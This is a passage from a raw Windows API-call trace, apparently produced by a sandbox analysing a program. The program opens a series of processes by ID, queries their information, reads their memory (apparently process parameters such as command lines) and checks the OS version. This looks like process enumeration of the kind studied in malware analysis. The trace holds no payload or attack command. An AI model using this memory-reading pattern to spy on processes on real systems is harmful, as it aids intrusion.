lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0302.244] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0302.244] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1cb23f03470, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0302.244] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1cb23f030c8, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0302.246] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0302.247] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0302.247] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc818199020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0302.247] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1cb23f02ab0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0302.247] malloc (_Size=0x74) returned 0x20abc282120 [0302.247] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1cb23f03108, lpBuffer=0x20abc282120, nSize=0x72, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc282120*, lpNumberOfBytesRead=0x0) returned 1 [0302.248] free (_Block=0x20abc282120) [0302.248] CloseHandle (hObject=0x16c) returned 1 [0302.249] _ui64tow_s (in: _Value=0x390, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="912") returned 0x0 [0302.254] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="912") returned 3 [0302.255] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0302.255] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0302.267] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x390) returned 0x16c [0302.267] GetLastError () returned 0x0 [0302.269] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0302.269] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc222932018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0302.269] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0302.269] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22f94f03480, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0302.269] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22f94f030c8, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0302.270] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0302.272] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0302.272] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc222932020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0302.272] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22f94f02ab0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0302.272] malloc (_Size=0x84) returned 0x20abc2ab0b0 [0302.272] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22f94f03108, lpBuffer=0x20abc2ab0b0, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2ab0b0*, lpNumberOfBytesRead=0x0) returned 1 [0302.273] free (_Block=0x20abc2ab0b0) [0302.274] CloseHandle (hObject=0x16c) returned 1 [0302.274] _ui64tow_s (in: _Value=0x3a0, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="928") returned 0x0 [0302.278] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="928") returned 3 [0302.279] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0302.279] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0302.292] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3a0) returned 0x16c [0302.292] GetLastError () returned 0x0 [0302.293] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0302.293] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2832795018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0302.294] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0302.294] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x19ff8603480, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0302.294] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x19ff86030c8, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0302.295] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0302.297] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0302.297] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x2832795020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0302.297] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x19ff8602ab0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0302.297] malloc (_Size=0x86) returned 0x20abc2aa600 [0302.297] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x19ff8603108, lpBuffer=0x20abc2aa600, nSize=0x84, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aa600*, lpNumberOfBytesRead=0x0) returned 1 [0302.298] free (_Block=0x20abc2aa600) [0302.299] CloseHandle (hObject=0x16c) returned 1 [0302.299] _ui64tow_s (in: _Value=0x3f0, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1008") returned 0x0 [0302.303] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="1008") returned 4 [0302.303] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0302.304] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0302.316] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x3f0) returned 0x16c [0302.316] GetLastError () returned 0x0 [0302.318] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0302.318] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x44e609d018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0302.318] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0302.318] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22fa5103460, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0302.319] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22fa51030c8, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0302.320] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0302.321] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0302.321] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x44e609d020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0302.322] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22fa5102ab0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0302.322] malloc (_Size=0x62) returned 0x20abc2807d0 [0302.322] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x22fa5103108, lpBuffer=0x20abc2807d0, nSize=0x60, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2807d0*, lpNumberOfBytesRead=0x0) returned 1 [0302.323] free (_Block=0x20abc2807d0) [0302.323] CloseHandle (hObject=0x16c) returned 1 [0302.324] _ui64tow_s (in: _Value=0x210, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="528") returned 0x0 [0302.327] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="528") returned 3 [0302.328] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0302.328] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0302.341] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x210) returned 0x16c [0302.341] GetLastError () returned 0x0 [0302.342] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0302.343] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xb735b0c018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0302.343] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0302.343] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1fedd303400, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0302.343] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1fedd303048, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0302.344] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0302.354] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0302.354] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xb735b0c020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0302.355] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1fedd302a30, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0302.355] malloc (_Size=0x82) returned 0x20abc2aaa80 [0302.355] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1fedd303088, lpBuffer=0x20abc2aaa80, nSize=0x80, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2aaa80*, lpNumberOfBytesRead=0x0) returned 1 [0302.356] free (_Block=0x20abc2aaa80) [0302.356] CloseHandle (hObject=0x16c) returned 1 [0302.357] _ui64tow_s (in: _Value=0x45c, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1116") returned 0x0 [0302.363] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="1116") returned 4 [0302.364] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0302.364] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0302.384] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x45c) returned 0x16c [0302.385] GetLastError () returned 0x0 [0302.386] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0302.386] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xd23f744018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0302.387] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0302.387] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1ed07003460, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0302.387] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1ed070030c8, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0302.388] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0302.390] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0302.390] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xd23f744020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0302.390] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1ed07002ab0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0302.390] malloc (_Size=0x66) returned 0x20abc2807d0 [0302.391] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x1ed07003108, lpBuffer=0x20abc2807d0, nSize=0x64, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc2807d0*, lpNumberOfBytesRead=0x0) returned 1 [0302.392] free (_Block=0x20abc2807d0) [0302.393] CloseHandle (hObject=0x16c) returned 1 [0302.393] _ui64tow_s (in: _Value=0x508, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1288") returned 0x0 [0302.398] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="1288") returned 4 [0302.399] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0302.399] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0302.414] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x508) returned 0x16c [0302.415] GetLastError () returned 0x0 [0302.416] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0302.416] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3f6018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0302.416] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0302.416] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc1b70, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0302.417] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc1818, lpBuffer=0x2dc24fc2d0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0302.418] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0302.419] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0302.419] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x3f6020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0302.419] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc1200, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0302.419] malloc (_Size=0x42) returned 0x20abc27cf80 [0302.419] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0xc1858, lpBuffer=0x20abc27cf80, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc27cf80*, lpNumberOfBytesRead=0x0) returned 1 [0302.421] free (_Block=0x20abc27cf80) [0302.421] CloseHandle (hObject=0x16c) returned 1 [0302.421] _ui64tow_s (in: _Value=0x538, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | out: _Buffer="1336") returned 0x0 [0302.426] _vsnwprintf (in: _Buffer=0x2dc24fd1c0, _BufferCount=0x103, _Format="%lu", _ArgList=0x2dc24fc548 | out: _Buffer="1336") returned 4 [0302.428] GetVersionExW (in: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x2dc24fc600*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x295a, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0302.428] _vsnwprintf (in: _Buffer=0x2dc24fcfb0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x2dc24fc548 | out: _Buffer="10.0.10586") returned 10 [0302.552] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x538) returned 0x16c [0302.552] GetLastError () returned 0x0 [0302.555] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc5a0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5a0, ReturnLength=0x0) returned 0x0 [0302.555] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4bc399b018, lpBuffer=0x2dc24fc570, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc570*, lpNumberOfBytesRead=0x0) returned 1 [0302.555] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x7ffb202f5220, lpBuffer=0x2dc24fc560, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc560*, lpNumberOfBytesRead=0x0) returned 1 [0302.555] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x191c2351bf0, lpBuffer=0x2dc24fc980, nSize=0x118, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc980*, lpNumberOfBytesRead=0x0) returned 1 [0302.556] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x191c23518c8, lpBuffer=0x2dc24fc2d0, nSize=0x3e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc2d0*, lpNumberOfBytesRead=0x0) returned 1 [0302.557] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x1, ProcessInformation=0x2dc24fc5d0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc5d0, ReturnLength=0x0) returned 0x0 [0302.558] NtQueryInformationProcess (in: ProcessHandle=0x16c, ProcessInformationClass=0x0, ProcessInformation=0x2dc24fc0a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2dc24fc0a8, ReturnLength=0x0) returned 0x0 [0302.558] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x4bc399b020, lpBuffer=0x2dc24fc090, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc090*, lpNumberOfBytesRead=0x0) returned 1 [0302.559] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x191c23512b0, lpBuffer=0x2dc24fc0e0, nSize=0x410, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x2dc24fc0e0*, lpNumberOfBytesRead=0x0) returned 1 [0302.559] malloc (_Size=0x18) returned 0x20abc281ee0 [0302.559] ReadProcessMemory (in: hProcess=0x16c, lpBaseAddress=0x191c2351906, lpBuffer=0x20abc281ee0, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x20abc281ee0*, lpNumberOfBytesRead=0x0) returned 1 [0302.559] free (_Block=0x20abc281ee0) [0302.559] CloseHandle (hObject=0x16c) returned 1 [0302.560] _ui64tow_s (in: _Value=0x604, _Buffer=0x2dc24fd4a0, _BufferCount=0x104, _Radix=10 | 